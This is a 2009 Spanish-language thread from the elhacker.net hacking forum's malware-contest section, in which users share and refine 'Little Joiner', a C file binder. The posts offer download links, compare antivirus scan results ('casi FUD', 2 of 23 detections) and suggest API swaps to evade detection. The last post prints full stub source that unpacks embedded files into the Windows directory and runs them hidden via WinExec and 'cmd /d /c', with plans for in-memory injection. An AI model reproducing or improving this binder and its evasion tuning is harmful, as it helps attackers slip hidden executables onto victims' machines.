Foro de elhacker.net

Seguridad Informática => Abril negro => Mensaje iniciado por: [Zero] en 10 Mayo 2009, 13:05 pm



Título: Little Joiner 1.0 (Open Source)
Publicado por: [Zero] en 10 Mayo 2009, 13:05 pm
Little Joiner

Bueno, pare descansar un poco de programar el Virus Metamorph me puse a programar éste joiner.

¿Qué es?

Es un Joiner programado en C capaz de unir infinitos archivos, lo de siempre  :xD.

Captura

(http://i360.photobucket.com/albums/oo45/eduhack/Little.png)

Características
-Tamaño del stu reducido, 1.7kb.

-Comprime los archivos a juntar. Ésto quiere decir que si juntamos un archivo de 20kb con uno de 10kb más el stub de 1.7kb el tamaño del ejecutable final rondará los 10kb (Depende del tipo de archivo) Gracias a Karcrack por hablarme de éstas apis que no conocía  ;)

-Dos stubs, uno que soporta icono y otro que no

-El stub sin icono realinea el pe para dejar el EOF dentro de la sección.

-Permite cambiar el icono


Cosas que se pueden mejorar

-Se puede añadir cifrado, no lo hice porque el comprimir ya se ofusca bastante, pero puede ser algo a añadir.

-El stub con icono no permite dejar los archivos dentro de la sección sinó que se quedan en el EOF. Ésto se debe a que no sé con antelación cuanto va a ocupar el archivo ya que dependerá del icono que se le añada, se podría corregir añadiendo una sección para albergar los archivos a juntar.

-Seguro tiene algunos fallos debido a que apenas lo testeé y ya estoy cansado de joiner  :xD.

Descargar Aplicación (http://depositfiles.com/files/ujbgz5diq)

Descargar Source (http://depositfiles.com/files/d871dkkgd)

Saludos

PD: La función para cambiar el icono no es mía, pertenece a Tughack.


Título: Re: Little Joiner 1.0 (Open Source)
Publicado por: Karcrack en 10 Mayo 2009, 14:19 pm
Jejeje, menudo ritmo... que lo empezaste, hace una semana? :xD

Me alegro que te gustara la idea de las APIs de compresión ;D

Voy a testearlo y te cuento ;)

Para la próxima podrías añadir lo de eligir si ejecutar o no ;D

Me ha funcionado perfectamente ;)

4kb + 264kb -> 263kb ;)

He estado mirando... Estas APIs para que las gastas?
  • GetCommandLine
  • wsprintf

Lo digo porque podrías quitarlas... te ahorrarías importar USER32... ademas, también puedes eliminar SHELL32, si usas para abrir los ficheros WinExec + 'CMD /C /D' ;D (MUCHO MENOS DETECTADA)

Te ahorrarías unos bytes :xD :xD

Ah! Que directorio temporal gasta? WinDir? :-\ Mejor %TMP% :P


Título: Re: Little Joiner 1.0 (Open Source)
Publicado por: [Zero] en 10 Mayo 2009, 14:22 pm
No, lo empecé ayer y lo tenía ayer casi todo, me faltaba el stub con icono que quería sacarle el eof pero al final lo dejé igual. Lo de las apis de compresión es impresionante el ratio que tienen  :o.

Saludos


Título: Re: Little Joiner 1.0 (Open Source)
Publicado por: Karcrack en 10 Mayo 2009, 14:36 pm
No, lo empecé ayer y lo tenía ayer casi todo, me faltaba el stub con icono que quería sacarle el eof pero al final lo dejé igual. Lo de las apis de compresión es impresionante el ratio que tienen  :o.

Saludos
Si, impresionante...

Y para quien le interese, es casi FUD:
Citar

File Info

Report generated: 10.5.2009 at 14.34.41 (GMT 1)
Filename: x.txt.exe
File size: 1 KB
MD5 Hash: C81DD690DFB5E661A08D5D4200141561
SHA1 Hash: 991752693E603ED44D5966F7BE875F9CF13A104F
Packer detected: Nothing found *
Self-Extract Archive: Nothing found
Binder Detector:  Nothing found
Detection rate: 2 on 23

Detections

a-squared - Nothing found!
Avira AntiVir - TR/Crypt.XPACK.Gen
Avast - Nothing found!
AVG - Nothing found!
BitDefender - Nothing found!
ClamAV - Nothing found!
Comodo - Nothing found! 
Dr.Web - Nothing found!
Ewido - Nothing found!
F-PROT 6 - Nothing found!
IkarusT3 - Nothing found!
Kaspersky - Nothing found!
McAfee - Nothing found! 
MHR (Malware Hash Registry) - Nothing found!
NOD32 v3 - Nothing found! 
Norman - Nothing found!
Panda - Nothing found!
Quick Heal - Suspicious
Solo Antivirus - Nothing found!
Sophos - Nothing found!
TrendMicro - Nothing found!
VBA32 - Nothing found!   
Virus Buster - Nothing found!

Scan report generated by 
NoVirusThanks.org (http://novirusthanks.org)


Seria fácil de FUDear, con reemplazar ShellExecute :P


Título: Re: Little Joiner 1.0 (Open Source)
Publicado por: ~~ en 10 Mayo 2009, 14:50 pm
Muy bueno, lo vas a presentar a el concurso??


Título: Re: Little Joiner 1.0 (Open Source)
Publicado por: [Zero] en 10 Mayo 2009, 16:59 pm
Muy bueno, lo vas a presentar a el concurso??
No, aún me queda un fin de semana para el metamorph, no estará completo pero presentaré lo que tenga con el código.

Saludos
Para la próxima podrías añadir lo de eligir si ejecutar o no ;D

Me ha funcionado perfectamente ;)

4kb + 264kb -> 263kb ;)

He estado mirando... Estas APIs para que las gastas?
  • GetCommandLine
  • wsprintf

Lo digo porque podrías quitarlas... te ahorrarías importar USER32... ademas, también puedes eliminar SHELL32, si usas para abrir los ficheros WinExec + 'CMD /C /D' ;D (MUCHO MENOS DETECTADA)

Te ahorrarías unos bytes :xD :xD

Ah! Que directorio temporal gasta? WinDir? :-\ Mejor %TMP% :P

GetCommandLine no recuerdo usarla  :huh:. wsprintf la uso para concatenar la ruta de extracción con el nombre y la extensión del archivo. Lo de cambiar shellexecute pues si, seguramente pese menos y algunos antivirus se larguen. Avira y el otro según me dijeron lo detecta por tener sólo una sección, si compilas un messagebox con fasm de forma que te genere una sóla sección también saltan, si se agrega una sección para contener los archivos que se unirán deberían de irse, de todas formas no creo que lo haga (por lo menos antes del 17 xd) si alguien quiere continuar el proyecto pos está a su disposición.

Saludos


Título: Re: Little Joiner 1.0 (Open Source)
Publicado por: Karcrack en 10 Mayo 2009, 17:15 pm
He estado mirando y el GetCommandLine se usa para obtener la ruta completa donde estas (%0)...


Título: Re: Little Joiner 1.0 (Open Source)
Publicado por: [Zero] en 11 Mayo 2009, 17:27 pm
Bueno Karcrack, éste source es para ti  ;D.

Código
  1. #pragma optimize("gsy", on)
  2. #include <windows.h>
  3.  
  4. typedef DWORD (WINAPI *_RtlDecompressBuffer)(IN ULONG CompressionFormat,OUT PVOID DestinationBuffer,IN ULONG DestinationBufferLength,
  5. IN PVOID SourceBuffer,IN ULONG SourceBufferLength,OUT PULONG pDestinationSize );
  6.  
  7. typedef VOID (WINAPI *_CopyMemory)(PVOID Destination,CONST VOID *Source,SIZE_T Length);
  8.  
  9. DWORD dwBytes;
  10.  
  11. VOID SaveFileToDisk(LPSTR nFileName,LPSTR lpFileMaped,DWORD FileSize)
  12. {
  13. HANDLE hSFTD=CreateFile(nFileName,GENERIC_READ+GENERIC_WRITE,0,0,CREATE_ALWAYS,0,0);
  14. WriteFile(hSFTD,lpFileMaped,FileSize,&dwBytes,0);
  15. CloseHandle(hSFTD);
  16. }
  17.  
  18. LPSTR DecompressBuffer(LPSTR lpBuffer,DWORD szBuffer,LPDWORD dwSizeOut )
  19. {
  20.   _RtlDecompressBuffer miRtlDecompressBuffer;
  21.  
  22.   LPSTR szRet=(LPSTR)GlobalAlloc(GPTR,16*szBuffer);
  23.  
  24.   miRtlDecompressBuffer=(_RtlDecompressBuffer)GetProcAddress((HINSTANCE)LoadLibraryA("NTDLL.DLL"),"RtlDecompressBuffer");
  25.  
  26.   miRtlDecompressBuffer(COMPRESSION_FORMAT_LZNT1,szRet,16*szBuffer,lpBuffer,szBuffer,dwSizeOut);
  27.  
  28.   return szRet;
  29. }
  30.  
  31. void main()
  32. {
  33. _CopyMemory miCopyMemory=NULL;
  34. miCopyMemory=(_CopyMemory)GetProcAddress(GetModuleHandle("KERNEL32.DLL"),"RtlMoveMemory");
  35.  
  36. DWORD szSubFile;
  37. LPSTR ext=(LPSTR)GlobalAlloc(GPTR,3);
  38. DWORD Seek=0;
  39. LPSTR lpFile=NULL;
  40.  
  41. LPSTR AppName=(LPSTR)GlobalAlloc(GPTR,MAX_PATH);
  42. GetModuleFileName(0,AppName,MAX_PATH);
  43.  
  44. HANDLE hFile=CreateFile(AppName,GENERIC_READ,0,0,OPEN_EXISTING,0,0);
  45. DWORD szFile=GetFileSize(hFile,0);
  46. LPSTR FileBuffer=(LPSTR)GlobalAlloc(GPTR,szFile);
  47. ReadFile(hFile,FileBuffer,szFile,&dwBytes,0);
  48.  
  49. DWORD StubSize=0x640;
  50.  
  51. LPSTR WinPath=(LPSTR)GlobalAlloc(GPTR,MAX_PATH);
  52. GetWindowsDirectory(WinPath,MAX_PATH);
  53.  
  54. DWORD NumArchivos;
  55. miCopyMemory(&NumArchivos,&FileBuffer[StubSize],4);
  56.  
  57. Seek=4;
  58. for(DWORD i=0;i<NumArchivos;i++)
  59. {
  60. //Obtenemos el peso del archivo
  61. miCopyMemory(&szSubFile,&FileBuffer[StubSize+Seek],4);
  62.  
  63. //Obtenemos la extensión
  64. miCopyMemory(&ext[0],&FileBuffer[StubSize+Seek+4],3);
  65.  
  66. //Leemos el archivo
  67. lpFile=(LPSTR)GlobalAlloc(GPTR,szSubFile);
  68. miCopyMemory(&lpFile[0],&FileBuffer[StubSize+Seek+7],szSubFile);
  69.  
  70. //Lo descomprimimos
  71. DWORD szDecompressedFile;
  72. LPSTR lpDecompressedFile=DecompressBuffer(lpFile,szSubFile,&szDecompressedFile);
  73.  
  74. //Generamos la ruta
  75. LPSTR Path=(LPSTR)GlobalAlloc(GPTR,MAX_PATH);
  76. lstrcat(Path,WinPath);
  77. lstrcat(Path,"\\"); //" //Ta mal geshi ¬¬
  78. LPSTR fName=NULL;
  79. for(DWORD z=0;z<i+1;z++)
  80. {
  81. lstrcat(fName,"A");
  82. }
  83. lstrcat(Path,fName);
  84. lstrcat(Path,".");
  85. lstrcat(Path,ext);
  86.  
  87. //Lo guardamos en WinPath
  88. SaveFileToDisk(Path,lpDecompressedFile,szDecompressedFile);
  89.  
  90. LPSTR Archivo=(LPSTR)GlobalAlloc(GPTR,MAX_PATH);
  91. lstrcat(Archivo,"cmd /d /c \"");
  92. lstrcat(Archivo,WinPath);
  93. lstrcat(Archivo,"\\"); //" //Ta mal geshi ¬¬
  94. lstrcat(Archivo,fName);
  95. lstrcat(Archivo,".");
  96. lstrcat(Archivo,ext);
  97. lstrcat(Archivo,"\"");
  98.  
  99. WinExec(Archivo,SW_HIDE);
  100.  
  101. Seek=Seek+11+szSubFile;
  102.  
  103. }
  104. CloseHandle(hFile);
  105. }
  106.  

No importa la SHELL32.DLL y pesa 0.25kb menos o así  :xD. Después del 17 seguiré con el joiner, haré que inyecte los exes en memoria, una sección para los datos y algo más.

Saludos